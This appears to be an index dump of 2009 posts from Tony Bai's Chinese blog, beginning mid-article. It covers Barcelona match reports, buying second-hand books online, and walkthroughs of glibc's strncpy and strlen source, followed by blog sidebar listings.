领先后的场上巴萨球员思想不统一的现象扩大化了，进攻失误较多，中场渐渐失去了控制，这也给急于进攻扳平比分的瓦伦西亚队带来的机会。在瓦队的进攻下巴萨 队员也只能犯规。普约尔对比利亚禁区内犯规、梅西对席尔瓦禁区边缘的犯规，但是裁判都没放到眼里，没有判罚点球，引起球迷不满。躲过两劫的巴萨终归没能阻 止瓦队的进球。第43分钟和上半时补时时刻，巴萨两次被对手攻破球门，巴尔德斯的不丢球记录也告终结。\n下半场开始后，巴萨似乎依然不紧不 慢，梅西几乎退到了中场附近。要知道靠近禁区的梅西才是最有威胁的，而梅西本场比赛除了上半场30分钟很卖力之外，基本都是回归后方协助防守，或中场与队 友配合过度。第60分钟，亨利上场，伊涅斯塔回归中场。但落后的巴萨还是依然没有疯狂反扑的迹象。不过强大的巴萨还是通过控球获得了扳平比分的机会。第 85分钟，巴萨在中场附近获得任意球，梅西主罚任意球，将球吊向门前。对方门将出击失误，球落到亨利脚下，亨利巧射，皮球入网。这也是全场最后一个入球。 补时5分钟两队仍无建树。\n巴萨平了这场比赛后，领先少赛一场的皇马7分，皇马本轮客战塞维利亚，上一轮塞维利亚同样是收力输给了巴萨，本轮塞维利亚为保冠军杯名额势必要死拼皇马，结果还要等到明天揭晓。\n现在的巴萨不需要考虑太多联赛的问题了，只需要认真准备主场对阵切尔西的比赛了。剿杀英超球队的大任在肩巴萨不敢怠慢啊。\n微博：@tonybai_cn\n微信公众号：iamtonybai\ngithub.com: https://github.com/bigwhite\n","permalink":"https://tonybai.com/2009/04/26/valencia-vs-barca/","summary":"\u003cp\u003e2009年4月26日凌晨4时（北京时间），2008-09赛季西班牙足球甲级联赛第33轮拉开战幕，巴萨客战劲旅瓦伦西亚。CCTV5因转播意甲比赛， 延迟了本场比赛的转播，CSPN则准时转播了比赛，但是画面和解说都与CCTV无法可比。我最终还是选择了看CCTV的转播。\u003c/p\u003e","title":"梅西·为欧冠收力巴萨险平"},{"content":"计算机类图书\u0026quot;贵\u0026quot;就一个字，而且计算机领域知识更新快、新书迭出；程序员们为了跟上知识更新的步伐，不得不花上大把银子采购图书，久而久之，哪个程序员的家里没有几箱子书呢^_^。以前我买书的哲学也是非新书不买，但自从同事告诉我互动出版网有\u0026quot;二手书\u0026quot;可淘之后，我就渐渐喜欢上网上淘二手书了。\nChina-pub上所谓的\u0026quot;二手书\u0026quot;，实际上和新书也没差多少，基本都在9成新，有些书可以说还是“崭新”的，但是这些二手书的价格却是出奇的低，一般网店新书都是7折以上，而这些二手书大多仅是四折。以前买一本书的价钱，现在基本上可以买上三本，这足以给你带来消费的冲动。不过目前只有三星以上的China-pub会员才有淘二手书的\u0026quot;权力\u0026quot;；虽说我早早就在China-pub注册了会员，但因购书量少，至今还只是一星，所以网上淘书也只能通过同事那边的渠道。二手书中不乏好书，比如机械工业的\u0026quot;计算机科学丛书\u0026quot;系列、华章程序员书库系列等，关键在于“淘”。经常到China-pub的\u0026ldquo;二手书\u0026quot;区翻翻，说不定你就能找到你心仪已久的好书。\n今天到手三本\u0026quot;二手书\u0026rdquo;，分别是\u0026quot;计算理论导引\u0026quot;、\u0026quot;程序员密码学\u0026ldquo;和\u0026rdquo;Algorithms IN C, Graph algorithms\u0026quot;，三本书加在一起才50元，要知道如果是新书的话，仅一本“Algorithms IN C”定价就50元。\n","permalink":"https://tonybai.com/2009/04/21/buy-second-hand-books-on-the-internet/","summary":"\u003cp\u003e计算机类图书\u0026quot;贵\u0026quot;就一个字，而且计算机领域知识更新快、新书迭出；程序员们为了跟上知识更新的步伐，不得不花上大把银子采购图书，久而久之，哪个程序员的家里没有几箱子书呢^_^。以前我买书的哲学也是非新书不买，但自从同事告诉我\u003ca href=\"http://www.china-pub.com/\"\u003e互动出版网\u003c/a\u003e有\u0026quot;二手书\u0026quot;可淘之后，我就渐渐喜欢上网上淘二手书了。\u003c/p\u003e","title":"网上淘二手书"},{"content":"2009年4月19日凌晨2点（北京时间），2008-09赛季西甲联赛第31轮拉开战幕，西甲领头羊巴塞罗那队坐客马德里挑战小球会赫塔菲队。赫塔菲目 前在西甲排在中下游，有保级压力，但是近几年巴萨对阵赫塔菲的战绩并不占优，特别是在赫塔菲的主场。本赛季赫塔菲也是巴萨唯一没能战而胜之的对手了。 04/05赛季和05/06赛季巴萨都在客场战胜了对手，最终巴萨也都获得了最终的西甲冠军；如果本场比赛巴萨能战胜赫塔菲，起码会从心理上给巴萨众将士 带来好兆头。所以本场瓜迪奥拉也是派出了除了亚亚图雷之外的最强阵容，试图在客场打垮对手保持领先。本场比赛也是门将巴尔德斯代表巴萨出场的第300场比 赛，同时也是梅西上演世纪进球两周年的纪念日。\n一 开场，巴萨就反客为主，通过强大的控球优势，向对方腹地发起一波接着一波的进攻。第5分钟，巴萨完成了本场第一次射门。伊涅斯塔将球直传给快速插上梅西， 对方球员到底铲球将球断下，梅西也因用力过猛以及湿滑的场地而差点滑倒，球被铲倒了左路亨利的脚下，亨利获得了直面门将的绝佳单刀机会。不过亨利的射门居 然被赫塔菲神勇的门将斯托伊科维奇扑出了，也正是这一扑救激发了斯托伊科维奇的状态，他在本场的神奇表演也就此开始了。\n开场后，对方后卫对梅西照顾的很紧，梅西几次尝试突破和传球都失误了，不过梅西依然是巴萨前场最具威胁的球员。第15分钟和第18分钟，亨利左路再获两次绝佳的得分机会，但是赫塔菲门将居然神奇的将两个球都扑出了，亨利也是一脸的无奈。\n梅西突破\n但 是第19分钟，梅西没有再让斯托伊科维奇上演神奇，哈维右路拿球突到禁区，将球分给中路的梅西，梅西拿球后先是一个晃动将对方后卫的一次倒地铲球躲过，然 后向左横向带球趟过正门两名后卫，闪出空档后左脚大力抽射，球打在对方倒地后卫的身上弹射入网，梅西打入其联赛的第20粒入球。斯托伊科维奇对这样的射门 毫无办法，巴萨1:0领先。\n梅西射门前横向带球\n巴 萨队员没有因1:0的领先而放缓进攻，一波波的进攻考验着赫塔菲的后防线。高达75%的控球让赫塔菲队员只能忙于奔跑抢球，可是球却牢牢的长在了巴萨队员 脚上。巴萨后防线没有受到太大威胁，巴萨整体前移进一步威胁赫塔菲的球门。第26分钟，巴萨获得角球机会，中卫皮克在对方门前打出一记超级精彩的侧身倒钩 射门，可惜这个球再次被斯托伊科维奇神奇的扑出。面对如此精彩的扑救，皮克也是无奈的双手抱头。如果说梅西是本场进攻MVP的话，那斯托伊科维奇绝对是防 守方的MVP。\n第39分钟，梅西突破至禁区，对方后卫侧面绊倒梅西，慢镜表明这是个明显的犯规，应该判罚点球，但是主裁没有理会。场外的瓜迪奥拉甚是气愤，差点又爆发出来，不过可能是因为吸取的上次的教训，瓜帅忍了。带着1个球的领先优势巴萨结束了上半场的比赛。\n下 半场巴萨没有更换队员，但天空的雨是越下越大了。场上时常看到球员滑倒的场面。巴萨的进攻也放缓了，以控制球为主。这也给了主场作战的赫塔菲队以机会。下 半场前10分钟，赫塔菲发起了多次进攻，可惜前场队员的配合失误葬送了大好的机会，另外巴尔德斯门前的控制也恰到好处。第56分钟，梅西接埃托奥直传反越 位形成单刀，但是边裁却举起了越位的旗帜，慢镜显示这又是一个误判。梅西的突破让对方后卫先后都吃到了黄牌。第81分钟，梅西再次遭到误判，凯塔远射被对 方门将神奇补出，梅西快速插上补射中的，但是这时边裁再次举旗示意越位，慢镜回放再次显示这是一个好球。如果不是裁判的表演，本场梅西上演帽子戏法都不为 过。\n雨中斗士\n梅西倒钩射门\n梅西没有放弃，终场前两次助攻埃托奥，后者的射门一次偏出，一次击中门柱。补时3分后，全场比赛结束，梅西绝杀赫塔菲，巴萨取得六连胜，继续领跑。客场战胜赫塔菲是否预示巴萨将最终夺得本赛季西甲冠军呢？相信巴萨球员最终会给我们一份完美的答案。\n微博：@tonybai_cn\n微信公众号：iamtonybai\ngithub.com: https://github.com/bigwhite\n","permalink":"https://tonybai.com/2009/04/19/getafe-vs-barca/","summary":"\u003cp\u003e2009年4月19日凌晨2点（北京时间），2008-09赛季西甲联赛第31轮拉开战幕，西甲领头羊巴塞罗那队坐客马德里挑战小球会赫塔菲队。赫塔菲目 前在西甲排在中下游，有保级压力，但是近几年巴萨对阵赫塔菲的战绩并不占优，特别是在赫塔菲的主场。本赛季赫塔菲也是巴萨唯一没能战而胜之的对手了。 04/05赛季和05/06赛季巴萨都在客场战胜了对手，最终巴萨也都获得了最终的西甲冠军；如果本场比赛巴萨能战胜赫塔菲，起码会从心理上给巴萨众将士 带来好兆头。所以本场瓜迪奥拉也是派出了除了亚亚图雷之外的最强阵容，试图在客场打垮对手保持领先。本场比赛也是门将巴尔德斯代表巴萨出场的第300场比 赛，同时也是梅西上演世纪进球两周年的纪念日。\u003c/p\u003e","title":"梅西·绝杀赫塔菲预示夺冠"},{"content":"比较以下两组代码，你认为哪组运行的更快些呢？\nExample1：\nint n = 100;\nint n4 = n \u0026raquo; 2;\nint i = 0;\nint a[100];\nfor (i = 0; i \u0026lt; n4 ;i += 4) {\na[i] = i;\na[i+1] = i+1;\na[i+2] = i+2;\na[i+3] = i+3;\n}\nExample2：\nfor (i = 0;i \u0026lt; 100;i++) {\na[i] = i;\n}\n其实这个问题在\u0026quot;代码大全2nd\u0026ldquo;中也有讨论，从\u0026quot;代码大全\u0026quot;中的统计结果来看，一般来说Example1更占有优势。我在solaris上做了测试，在未开优化的情况下：两者运行时间分别为2ms和6ms；在打开-O2优化后，两者均为1ms。这种通过减少循环次数的方法在GLIBC中也有体现，比如说strncpy的实现：\n下面是strncpy的GLIBC源码：\nchar *\nx_strncpy (s1, s2, n)\nchar *s1;\nconst char *s2;\nsize_t n;\n{\nreg_char c;\nchar *s = s1;\n–s1;\nif (n \u0026gt;= 4)\n{\nsize_t n4 = n \u0026raquo; 2; /* n4 = n / 4， n4表示下面的循环执行的次数*/\nfor (;;)\n{\nc = *s2++;\n*++s1 = c;\nif (c == \u0026lsquo;\u0026rsquo;)\nbreak;\nc = *s2++;\n*++s1 = c;\nif (c == \u0026lsquo;\u0026rsquo;)\nbreak;\nc = *s2++;\n*++s1 = c;\nif (c == \u0026lsquo;\u0026rsquo;)\nbreak;\nc = *s2++;\n*++s1 = c;\nif (c == \u0026lsquo;\u0026rsquo;)\nbreak;\nif (–n4 == 0)\ngoto last_chars; /* 如果n = 10，s2 = \u0026ldquo;hello world\u0026rdquo;，则两轮循环后，还有\u0026quot;尾巴\u0026quot;没有copy完，在last_chars处继续处理 */\n}\nn = n – (s1 – s) – 1; /* 还没有copy完n个字节，s2就到达末尾了，跳到zero_fill处继续为s1补零 */\nif (n == 0)\nreturn s;\ngoto zero_fill;\n}\nlast_chars: n \u0026amp;= 3; /* n = n \u0026amp; 3 结果 n \u0026lt;= 3，n即为上面循环过后\u0026quot;尾巴字符\u0026quot;的数量 */\nif (n == 0)\nreturn s;\ndo\n{\nc = *s2++;\n*++s1 = c;\nif (–n == 0)\nreturn s;\n} while (c != \u0026lsquo;\u0026rsquo;);\nzero_fill: do\n*++s1 = \u0026lsquo;\u0026rsquo;;\nwhile (–n \u0026gt; 0);\nreturn s;\n}\n相比于strlen的实现，strncpy的实现更易理解。其字面上的逻辑就是每四个字节(n\u0026raquo;2)作为一组，每组逐个字节进行拷贝赋值，其内在目的则是减少循环次数，以获得性能的提升。要想知道为什么减少循环次数能提升性能的话，那就要深入到汇编层面去了，这里不再详述。另外还要一提的是GLIBC中的strncmp，strncat的实现也遵循着与上面同样的逻辑。\n","permalink":"https://tonybai.com/2009/04/15/glibc-strncpy-source-analysis/","summary":"\u003cp\u003e比较以下两组代码，你认为哪组运行的更快些呢？\u003cbr\u003e\nExample1：\u003cbr\u003e\n        int n   = 100;\u003cbr\u003e\n        int n4  = n \u0026raquo; 2;\u003cbr\u003e\n        int i   = 0;\u003c/p\u003e\n\u003cp\u003eint a[100];\u003c/p\u003e\n\u003cp\u003efor (i = 0; i \u0026lt; n4 ;i += 4) {\u003cbr\u003e\n                a[i] = i;\u003cbr\u003e\n                a[i+1] = i+1;\u003cbr\u003e\n                a[i+2] = i+2;\u003cbr\u003e\n                a[i+3] = i+3;\u003cbr\u003e\n        }\u003c/p\u003e","title":"简说GLIBC strncpy实现"},{"content":"直接操作C标准库提供的字符串操作函数是有一定风险的，稍有不慎就会导致内存问题。这周用业余时间写了一个小型的安全字符串操作库，但是测试之后才发现自己的实现有很大的性能缺陷。\n在Solaris上初步做了一个简单的性能比对，以下是得到的性能数据(以strlen的数据为例)：\n当传入的字符串长度为10时，执行100w次：\nstrlen 执行时间是：32762毫秒\nmy_strlen执行时间是：491836毫秒\n当传入的字符串长度为20时，执行100w次：\nstrlen 执行时间是：35075毫秒\nmy_strlen执行时间是：770397毫秒\n很显然，标准库中strlen的消耗仅是my_strlen的十分之一不到，且其性能消耗随着字符串长度的增加并未有近线性的增加，而my_strlen则是变化明显。想必大家这时也能猜到my_strlen采用了传统的实现的方式，即采用逐个字节判断是否为\u0026rsquo;\u0026lsquo;方式，这也与测试出的现象相符。本着刨根问底的精神，我在网上找到了GNU提供的C标准库中strlen实现的源码，要看看GLIBC中strlen究竟采用何种技巧才达到了那么高的性能。说实话在性能优化这方面自己一直还处于比较初级的位置，这也将是自己将来努力的一个方向。\n下载了全部GLIBC的代码包，这个包还真不小。在string子目录下找到strlen.c，这就是大多数UNIX平台、Linux平台以及绝大多数GNU软件使用的strlen的实现源码了。这份代码由Torbjorn Granlund(还实现了memcpy)编写，Jim Blandy和Dan Sahlin提供了帮助和注释。包括注释在内，GLIBC的strlen的代码足足有近130行，大致浏览一下， 没有怎么看懂，可耐下心来细致阅读，还是有些心得的。下面是strlen源码摘要版，后面我将针对这段代码写一些我的理解：\n1 /* Return the length of the null-terminated string STR. Scan for\n2 the null terminator quickly by testing four bytes at a time. */\n3 size_t strlen (str) const char *str;\n4 {\n5 const char *char_ptr;\n6 const unsigned long int *longword_ptr;\n7 unsigned long int longword, magic_bits, himagic, lomagic;\n8\n9 /* Handle the first few characters by reading one character at a time.\n10 Do this until CHAR_PTR is aligned on a longword boundary. */\n11\n12 for (char_ptr = str; ((unsigned long int) char_ptr\n13 \u0026amp; (sizeof (longword) – 1)) != 0;\n14 ++char_ptr)\n15 if (*char_ptr == \u0026lsquo;\u0026rsquo;)\n16 return char_ptr – str;\n17\n18 /* All these elucidatory comments refer to 4-byte longwords,\n19 but the theory applies equally well to 8-byte longwords. */\n20\n21 longword_ptr = (unsigned long int *) char_ptr;\n22\n23 himagic = 0x80808080L;\n24 lomagic = 0x01010101L;\n25\n26 if (sizeof (longword) \u0026gt; 27 abort ();\n28\n29 /* Instead of the traditional loop which tests each character,\n30 we will test a longword at a time. The tricky part is testing\n31 if *any of the four* bytes in the longword in question are zero. */\n32\n33 for (;;) 34 { 35 longword = *longword_ptr++; 36\n37 if ( ((longword – lomagic) \u0026amp; himagic) != 0)\n38 {\n39 /* Which of the bytes was the zero? If none of them were, it was\n40 a misfire; continue the search. */\n41\n42 const char *cp = (const char *) (longword_ptr – 1);\n43\n44 if (cp[0] == 0)\n45 return cp – str;\n46 if (cp[1] == 0)\n47 return cp – str + 1;\n48 if (cp[2] == 0)\n49 return cp – str + 2;\n50 if (cp[3] == 0)\n51 return cp – str + 3;\n52 if (sizeof (longword) \u0026gt; 4)\n53 {\n54 if (cp[4] == 0)\n55 return cp – str + 4;\n56 if (cp[5] == 0)\n57 return cp – str + 5;\n58 if (cp[6] == 0)\n59 return cp – str + 6;\n60 if (cp[7] == 0)\n61 return cp – str + 7;\n62 }\n63 }\n64 }\n65 }\n从这段代码开头作者的注释我们大致可以了解到该strlen实现的原理：就是通过每次测试四个字节来代替传统实现中每次测试一个字节的方法。知道这个原理了，那么还需要解决两个难题：\nC标准库要求有很好的移植性，在绝大部分系统体系结构下都应该能正确运行。那么每次拿出4个字节比较(unsigned long int)，就需要考虑内存对齐问题，传入的字符串的首字符地址可不一定在4对齐的地址上； 如何对四个字节进行测试，找出其中某个字节为全0，这是个技巧问题。 12～21行的代码解决的就是第一个问题：\nfor (char_ptr = str; ((unsigned long int) char_ptr\n\u0026amp; (sizeof (longword) – 1)) != 0;\n++char_ptr)\nif (*char_ptr == \u0026lsquo;\u0026rsquo;)\nreturn char_ptr – str;\n/* All these elucidatory comments refer to 4-byte longwords,\nbut the theory applies equally well to 8-byte longwords. */\nlongword_ptr = (unsigned long int *) char_ptr;\n作者通过一个for-loop找到传入字符串中第一个地址对齐到4的字符的地址，由于该地址已经对齐到4，所以最后一行那个强制转型是安全的。虽然可以通过圆整算式直接得到该对齐地址，但是考虑到这个区间可能存在的\u0026rsquo;\u0026rsquo;，一个字符一个字符比对也是不可避免的。在很多严格对齐的架构上(比如SUN的SPARC平台)，编译器一般会将字符串地址在编译器就放到对齐的地址上，这样一来，实际执行strlen时for-loop很少能执行一步。\n第二个问题作者则是通过一个\u0026quot;带前提\u0026quot;的技巧来解决的。作者设定了两个掩码变量：\nhimagic = 0x80808080L;\nlomagic = 0x01010101L;\n并通过一个conditional expression完成了对四字节中全0字节的检测：((longword – lomagic) \u0026amp; himagic) != 0\n我们将himagic和lomagic按bit展开：\nhimagic 1000 0000 1000 0000 1000 0000 1000 0000\nlomagic 0000 0001 0000 0001 0000 0001 0000 0001\n对于这样的代码，似乎没有什么理论可以遵循，需要在实践中去理解。起初我构造了一个不含全0字节的longword，比如：\nlongword 1000 0001 1000 0001 1000 0001 1000 0001，然后按照那个条件表达式计算后，居然也满足!=0的条件，是不是作者的逻辑有问题呢？后来转念一想，这种逻辑是有“前提条件”的。回顾一下strlen是做什么的，其输入参数是任意的么？当然不是。输入的字符串中每个字符的值都在[0, 127]的ascii码范围内，也就是说每个字节最高位的bit都是0，这样longword就应该是如下这个样子了：\nlongword 0xxx xxxx 0xxx xxxx 0xxx xxxx 0xxx xxxx\n基于这样的前提我们考虑两种情况：\n当longword中没有全0字节时，比如：\nlongword 0000 0001 0000 0001 0000 0001 0000 0001\n这样在做完计算后，值为0，不满足条件。\n当longword中有全零字节时，比如：\nlongword 0000 0000 0000 0001 0000 0001 0000 0001\n这样在做完计算后，最高字节最高bit的值肯定为1，满足!=0条件，全0字节被检测出来。也就是说一旦有全0字节，在减去lomagic时势必会产生借位，全0的那个字节在减去lomagic后最高位bit肯定由0变1，这样与himagic一与，肯定不为0，就是这么检测出来的。\n这一方法在64位平台依然适用，上面的代码摘要中省略了对64bit平台的特殊处理，为的是使代码逻辑更清晰，更易读。\n","permalink":"https://tonybai.com/2009/04/11/glibc-strlen-source-analysis/","summary":"\u003cp\u003e直接操作\u003ca href=\"http://tonybai.com/2006/07/08/plauger-c-standard-lib-assert-header/\" title=\"C标准库\"\u003eC标准库\u003c/a\u003e提供的字符串操作函数是有一定风险的，稍有不慎就会导致\u003ca href=\"http://tonybai.com/2006/09/06/be-careful-of-the-trap-of-overflow/\" title=\"内存问题\"\u003e内存问题\u003c/a\u003e。这周用业余时间写了一个小型的安全字符串操作库，但是测试之后才发现自己的实现有很大的性能缺陷。\u003c/p\u003e\n\u003cp\u003e在Solaris上初步做了一个简单的性能比对，以下是得到的性能数据(以strlen的数据为例)：\u003cbr\u003e\n当传入的字符串长度为10时，执行100w次：\u003cbr\u003e\nstrlen 执行时间是：32762毫秒\u003cbr\u003e\nmy_strlen执行时间是：491836毫秒\u003c/p\u003e","title":"GLIBC strlen源代码分析"},{"content":"2009年4月9日凌晨2点45分（北京时间），2008-09赛季欧洲冠军联赛四分之一决赛开始了首回合较量，西甲豪门巴萨坐镇主场诺坎普迎来了德甲巨 人拜仁慕尼黑的挑战。八强抽签结束后，巴萨躲过了英超四强的包围圈却遭遇了德甲NO.1拜仁，不过媒体和博彩公司依旧看好巴萨，巴萨和曼联并列赔率榜首 位。拜仁本赛季的表现很不稳定，既有欧冠赛场两回合大比分屠杀里斯本竞技的记录，也有在刚刚进行的联赛中大比分被沃尔夫斯堡血洗的耻辱。不过拜仁的哀兵姿 态也让巴萨全队格外重视，毕竟拜仁是欧洲足球最具代表性的球队之一，任何时刻他们都有进球得分和翻盘的实力，队中的里贝里和托尼也都是久经沙场的精英，所 以此役巴萨主帅瓜迪奥拉也排出了巴萨最强阵，以争取在主客场两回合的比赛中占据有利位置，要知道先主后客的比赛可不好打。\n与 人们事先预测的基本一致，巴萨主力阵容中，巴尔德斯继续镇守龙门，马科斯和皮克坐镇中路防守，万金油普队顶替受伤的阿比达尔打左后卫，阿尔维斯则一如以往 的出现在右翼；中场则由西班牙国家队核心哈维和伊涅斯塔领衔，图雷辅助增加中场硬度，前锋线依旧是目前欧洲乃至世界攻击力最强的三叉戟组合：亨利、埃托奥 和梅西。针对巴萨的控球优势，拜仁主帅克林斯曼排出了加强中场的4-5-1阵容：老门将布特替代本赛季的主力门将伦辛首发，因卢西奥的受伤，拜仁的后卫线 捉襟见肘，奥多、德米凯利斯、布雷诺和莱尔出任首发，中场则是由队长范博梅尔领衔，老将泽-罗伯托、大阿尔滕托普、小猪施魏因斯泰格和里贝里辅佐，前锋线 则是单箭头高个子托尼。\n刚一开场，巴萨队员就表现出了很好的气势和状态。第6分钟，梅西右路发起进攻，中路哈维得球后直塞给亨利，亨利反 越位成功，在角度很小的角度打门，可惜球速太慢，球在入门前被对方后卫解围，不过这次进攻给了拜仁众将士一个下马威。巴萨角球，哈维和梅西配合，梅西右路 突破射门，再次被后卫挡出。不过巴萨的进攻依旧潮水般涌向拜仁后方。第9分钟，擅于打大赛的梅西为巴萨打入开罐之球。亨利左路发起进攻，中路哈维和埃托奥 接球后连续横敲，被打懵的拜仁后卫居然露了后点的梅西，梅西拿球后，前突几步，直面门将冷静左脚推射，球直挂打门左下角，1:0。梅西进球后也是格外兴 奋，并用手势带动主场观众一起庆祝。\n梅西射门瞬间\n梅西射门瞬间\n梅西进第一球后疯狂庆祝\n梅西进第一球后疯狂庆祝\n梅西庆祝面部特写\n仅仅三分钟过后，状态极佳的梅西再次帮助E9打入锁定胜局之球。梅西右路拿球招牌式内切，禁区右路突然送出直塞球，埃托奥在与对方后卫平行位置快速启动，在门将封堵前射门，球从布特小门穿过应声入网，2:0。入球后的埃托奥再次与亨利做出了本赛季新发明的敬礼式庆祝动作。\n巴 萨取得梦幻般开局，场面打的更加开了，巴萨队员细腻的传球让拜仁队员几乎拿不到球。仅有左路的里贝里几次灵光的突破，不过没有致命威胁。第17分钟，场上 出现意外局面，梅西禁区内拿球变线突破莱尔，莱尔伸腿将梅西绊倒在禁区里，全场目光瞬间都集中在主裁判身上，意外的是当值主裁并没有判罚点球，而是对梅西 出示黄牌，认为梅西禁区内假摔，不过慢镜回放多次，这的确是莱尔的犯规，不过这件事还未结束，场外巴萨主帅瓜迪奥拉发狂似的怒吼和抗议也同样招致主裁的红 牌惩罚，不得不被请上了观众看台，如果说巴萨这一夜是完美的，那唯一的一点点瑕疵就是裁判的误判以及瓜帅的冲动。\n梅西禁区内被绊倒\n场 上的巴萨球员并未因这一插曲而受到任何影响，而是一如既往的进攻。全场巴萨球员跑动十分积极，三叉戟尤其；镜头里经常看到梅西、埃托奥和亨利的协防以及丢 球的奋力的就地反抢。这样的努力再次在第38分钟收到效果。亨利左路纳球，突然一个加速突破了奥多的防守，底线横穿中路，身材矮小但却极其机敏灵活的梅西 在门前三名高大中后卫的干扰下倒地铲射，皮球第三次滚入球网，疯狂梅西梅开二度。镜头里气急败坏的拜仁队长范博梅尔在大声训斥着中后卫德米凯利斯。而这边 巴萨队员正在疯狂的庆祝着。\n梅西倒地铲射打入本场第二粒进球\n梅西庆祝个人第二粒进球\n0:3 落后的拜仁球员似乎受到了自信心上的打击，不过巴萨队员依旧没有放弃进攻。第43分钟，梅西又来了。梅西突入禁区，范博梅尔肘击梅西，后者痛苦倒地，拜仁 后卫顺势解围，球却落到了左路无人盯防的亨利脚下，亨利顺势推射皮球入网，比分锁定在4:0。进球后，大家围拢到梅西处，观察梅西伤势，慢镜回放，这一肘 力度不小，不过梅西还是坚韧的站了起来。就这样巴萨带着4粒金子般的入球结束了上半场。\n下半场，已经四球领先的巴萨显然放慢了进攻步伐，不过控制场面的还是巴萨。梅西甚至还有多次上演帽子戏法的机会，不过布特的精彩补救以及马里人凯塔的头没能让梅西带帽。\n全场比赛结束，巴萨首回合4:0大胜，基本上100%挺进欧冠四强了。这样的魔鬼赛程的开局，让巴萨从上到下士气大振，今年的巴萨有戏！已经打入8球的梅西独占欧冠射手榜榜首，同样本赛季已经打入32球的梅西正向着他的首个欧洲金球奖奖杯和世界足球先生的荣誉大踏步前进着。\n微博：@tonybai_cn\n微信公众号：iamtonybai\ngithub.com: https://github.com/bigwhite\n","permalink":"https://tonybai.com/2009/04/09/europe-barca-vs-bayern/","summary":"\u003cp\u003e2009年4月9日凌晨2点45分（北京时间），2008-09赛季欧洲冠军联赛四分之一决赛开始了首回合较量，西甲豪门巴萨坐镇主场诺坎普迎来了德甲巨 人拜仁慕尼黑的挑战。八强抽签结束后，巴萨躲过了英超四强的包围圈却遭遇了德甲NO.1拜仁，不过媒体和博彩公司依旧看好巴萨，巴萨和曼联并列赔率榜首 位。拜仁本赛季的表现很不稳定，既有欧冠赛场两回合大比分屠杀里斯本竞技的记录，也有在刚刚进行的联赛中大比分被沃尔夫斯堡血洗的耻辱。不过拜仁的哀兵姿 态也让巴萨全队格外重视，毕竟拜仁是欧洲足球最具代表性的球队之一，任何时刻他们都有进球得分和翻盘的实力，队中的里贝里和托尼也都是久经沙场的精英，所 以此役巴萨主帅瓜迪奥拉也排出了巴萨最强阵，以争取在主客场两回合的比赛中占据有利位置，要知道先主后客的比赛可不好打。\u003c/p\u003e","title":"梅西·与巴萨一起碾碎拜仁"},{"content":"如发现本站页面被黑，比如：挂载广告、挖矿等恶意代码，请朋友们及时联系我。十分感谢！ 商务合作请联系bigwhite.cn AT aliyun.com\n欢迎使用邮件订阅我的博客 输入邮箱订阅本站，只要有新文章发布，就会第一时间发送邮件通知你哦！\n名字：\n邮箱:\n这里是 Tony Bai的个人Blog，欢迎访问、订阅和留言！ 订阅Feed请点击上面图片。\n如果您觉得这里的文章对您有帮助，请扫描上方二维码进行捐赠 ，加油后的Tony Bai将会为您呈现更多精彩的文章，谢谢！\n如果您希望通过微信捐赠，请用微信客户端扫描下方赞赏码： 如果您希望通过比特币或以太币捐赠，可以扫描下方二维码：\n比特币： 以太币： 如果您喜欢通过微信浏览本站内容，可以扫描下方二维码，订阅本站官方微信订阅号“iamtonybai”；点击二维码，可直达本人官方微博主页^_^： 本站Powered by Digital Ocean VPS。\n选择Digital Ocean VPS主机，即可获得10美元现金充值，可 免费使用两个月哟！ 著名主机提供商Linode 10$优惠码：linode10，在 这里注册即可免费获 得。阿里云推荐码：\n1WFZ0V， 立享9折！\n文章 Go团队：Go是什么 Go早期的那些布道者 Gopher的Rust第一课：建立Rust开发环境 使用Ollama和Go基于文本嵌入模型实现文本向量化 那些可免费使用的在线大语言模型服务 Go未用代码消除与可执行文件瘦身 从零到生产：Go在Google的历程[译] 使用Ollama和OpenWebUI在CPU上玩转Meta Llama3-8B Gopher的Rust第一课：Rust的那些事儿 要么返回错误值，要么输出日志，别两样都做 评论 bigwhite 在 Go早期的那些布道者\n感谢指出，已改。\ngopher 在 Go早期的那些布道者\nFitzpatrick 那个 mem 的点击链接好像贴错了，可能跳转的是 https://githu\u0026hellip;\nbigwhite 在 使用Go语言实现eBPF程序内核态与用户态的双向数据交换\n现在也不晚:)\ntest 在 使用Go语言实现eBPF程序内核态与用户态的双向数据交换\n早一个星期看到就好了，感谢分享\nbigwhite 在 一文告诉你如何用好uber开源的zap日志库\n哈哈:)\nzzzz 在 一文告诉你如何用好uber开源的zap日志库\n看了半天外网的文章，结果从里面源码找到来源是咱们国人\nbigwhite 在 使用Ollama和OpenWebUI在CPU上玩转Meta Llama3-8B\n我也在学习和研究中，后续多多分享就是了，但不保证能完全解决你的问题:)\nXuJinNet 在 使用Ollama和OpenWebUI在CPU上玩转Meta Llama3-8B\n非常期待老师的后续关于 AI 应用的实战教程！例如：怎样为本地系统提供 HTTP 服务接口；怎样使用\u0026hellip;\nbigwhite 在 小厂内部私有Go module拉取方案\n嗯，私有go module拉取方案有多种，这个要看“场情”:)。我们这里就不允许架设git认证代理。\nMiNG 在 小厂内部私有Go module拉取方案\n我们的做法是架设一个 git 认证代理，对内网开放 go get 协议的拉取，顺便可以实现路径映射。\u0026hellip;\n下一页 »\n分类 光影汇 (7) 影音坊 (36) 思考控 (66) 技术志 (845) 教育记 (2) 杂货铺 (75) 生活簿 (162) 职场录 (14) 读书吧 (15) 运动迷 (109) 驴友秀 (40) 标签 Blog Blogger C Cpp docker GC GCC github GNU Go Golang Google Gopher goroutine http Interface Java k8s Kubernetes Linux Opensource Package Programmer Python runtime Ubuntu Unix Windows 博客 容器 工作 巴萨 开源 思考 感悟 接口 摄影 标准库 梅西 泛型 生活 程序员 编译器 西甲 足球\n归档 2024 年五月 (6) 2024 年四月 (5) 2024 年三月 (1) 2024 年二月 (1) 2024 年一月 (4) 2023 年十二月 (8) 2023 年十一月 (6) 2023 年十月 (6) 2023 年九月 (5) 2023 年八月 (4) 2023 年七月 (6) 2023 年六月 (5) 2023 年五月 (6) 2023 年四月 (5) 2023 年三月 (7) 2023 年二月 (5) 2023 年一月 (3) 2022 年十二月 (4) 2022 年十一月 (5) 2022 年十月 (6) 2022 年九月 (5) 2022 年八月 (4) 2022 年七月 (5) 2022 年六月 (6) 2022 年五月 (10) 2022 年四月 (6) 2022 年三月 (11) 2022 年二月 (4) 2022 年一月 (2) 2021 年十二月 (7) 2021 年十一月 (6) 2021 年十月 (4) 2021 年九月 (5) 2021 年八月 (7) 2021 年七月 (7) 2021 年六月 (2) 2021 年五月 (2) 2021 年四月 (7) 2021 年三月 (7) 2021 年二月 (5) 2021 年一月 (4) 2020 年十二月 (11) 